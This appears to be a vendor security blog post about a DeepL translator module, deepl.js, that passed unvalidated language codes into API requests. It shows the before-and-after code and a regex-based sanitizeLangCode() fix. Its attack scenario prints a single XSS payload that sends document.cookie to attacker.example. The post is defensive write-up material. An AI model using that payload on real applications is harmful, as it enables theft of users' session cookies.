How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

How Unsanitized Language Parameters Happen in JavaScript and How to Fix Them

The File That Bridges User Input and an External API

The src/module/translator/deepl.js module does one job: take text and language preferences from the user, package them into DeepL API requests, and return translated output. It sits at an interesting security boundary—one side faces user-controlled data, the other side faces an external network service. A flaw in how language codes were handled inside splitText() and translate() meant that boundary was not being enforced, and raw, unvalidated strings were flowing straight through to the API payload.

This post walks through exactly what went wrong, why it matters even in a desktop application context, and what the fix looks like in concrete code.

The Vulnerability Explained

What the Code Was Doing

Before the fix, two functions in deepl.js accepted a user-supplied option object and copied its from and to properties directly into the outgoing API request body:

// splitText() — line 85 (before fix)
postData.params.lang.lang_user_selected = option.from;

// translate() — lines 124-125 (before fix)
postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

There is no typeof check, no length limit, no character allowlist, and no format validation. Whatever string arrives in option.from or option.to is placed verbatim into the JSON body that gets sent to DeepL's endpoint.

Why That's a Problem

Language codes are supposed to be short, alphabetic identifiers like en, de, or zh-Hans. The DeepL API expects values conforming to ISO 639-1 (two-letter codes) or BCP 47 subtags. Nothing in the original code enforced that contract.

An attacker who can control the option object—for example, by crafting a file that the desktop application opens, or by injecting content into a document being translated—could supply values like:

Even if DeepL itself rejects these values at its own API layer, the application has already forwarded attacker-controlled data across a network boundary. Any intermediate processing—logging, caching, error serialization—could be affected. More importantly, this is an exploit primitive: a code pattern that, while not independently exploitable in isolation, can be chained with other weaknesses by automated attack tooling.

Attack Scenario

Consider a desktop translation application that opens .docx files. A malicious document embeds a custom language tag in its metadata. When the application reads that tag and passes it as option.from to translate(), the raw string—say, en<img src=x onerror=fetch('https://attacker.example/'+document.cookie)>—is placed inside the API request. If the application surfaces the API error response in a web view component without further escaping, the payload executes. The chain is: crafted file → option.from → postData.params.lang.source_lang_computed → API error → web view render → XSS.

The Fix

A Single Validation Function at the Gate

The patch introduces sanitizeLangCode(), a small but precise guard function added near the top of the file:

const regLangCode = /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/;

function sanitizeLangCode(code) {
  if (typeof code !== 'string' || !regLangCode.test(code)) {
    throw new Error(`Invalid language code: ${code}`);
  }
  return code.toUpperCase();
}

Let's unpack what each part does:

• /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ — anchors the match to the full string (^ and $), allows only ASCII letters, enforces a 2–3 character primary subtag (covering ISO 639-1 and ISO 639-2), and optionally allows a 2–4 character region subtag after a hyphen. This covers en, zh, pt-BR, zh-Hans, and similar valid codes while rejecting everything else.
• typeof code !== 'string' — guards against null, undefined, or non-string types being passed in.
• throw new Error(...) — fails fast and loudly. The error message includes the offending value so developers can diagnose misconfigured callers quickly.
• code.toUpperCase() — normalizes the output to uppercase, which is the convention used by the DeepL API (e.g., EN, DE, ZH-HANS).

Before and After

Before — in splitText():

postData.params.lang.lang_user_selected = option.from;

After — in splitText():

postData.params.lang.lang_user_selected = sanitizeLangCode(option.from);

Before — in translate():

postData.params.lang.source_lang_computed = option.from;
postData.params.lang.target_lang = option.to;

After — in translate():

postData.params.lang.source_lang_computed = sanitizeLangCode(option.from);
postData.params.lang.target_lang = sanitizeLangCode(option.to);

All three assignment sites are now gated. No language code string reaches the API payload without passing through the regex check first.

Why All Three Sites Matter

It might be tempting to validate only in translate() and trust that splitText() is called internally. But defense-in-depth means validating at every boundary crossing, not just the outermost one. If splitText() is ever called directly—in a test, a future refactor, or an integration—the guard is already in place.

Key Takeaways

• option.from and option.to in deepl.js were direct injection vectors: any string, including XSS and SQL payloads, could be forwarded to the DeepL API without modification.
• The sanitizeLangCode() function is the right abstraction: centralizing validation in one function means all three call sites benefit from a single fix, and future call sites will naturally use the same guard.
• ISO 639-1 codes are a closed, well-defined set: they are an ideal candidate for allowlist regex validation rather than ad-hoc sanitization.
• Desktop applications are not immune to injection: the threat model here requires a crafted file or malicious content interaction, but that is a realistic attack vector for translation tools that process untrusted documents.
• Exploit primitives matter: even if this specific pattern isn't independently exploitable today, removing it raises the bar against automated exploit-chaining tools that combine multiple weak points.

How Orbis AppSec Detected This

• Source: The option.from and option.to fields of the user-supplied option object passed into translate() and splitText() in src/module/translator/deepl.js.
• Sink: Direct assignment to postData.params.lang.source_lang_computed, postData.params.lang.target_lang, and postData.params.lang.lang_user_selected at lines 85, 124, and 125—values that are serialized into the body of an outgoing HTTP request to an external API.
• Missing control: No type check, format validation, or allowlist comparison was applied to either language code parameter before assignment.
• CWE: CWE-20 — Improper Input Validation.
• Fix: A sanitizeLangCode() function was introduced that validates input against /^[A-Za-z]{2,3}(-[A-Za-z]{2,4})?$/ and throws on non-conforming values; all three assignment sites were updated to call this function.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in deepl.js is a textbook example of how a small omission—not validating a string before forwarding it to an external service—creates a meaningful security gap. Language codes are a constrained, well-understood domain: two or three letters, an optional region subtag, nothing else. Enforcing that constraint with a six-line function eliminates an entire class of injection risk at this boundary.

The broader lesson is that every value crossing a trust boundary deserves explicit validation, even when the downstream service might reject bad input on its own. Your application should never rely on a third-party API to be its first line of defense.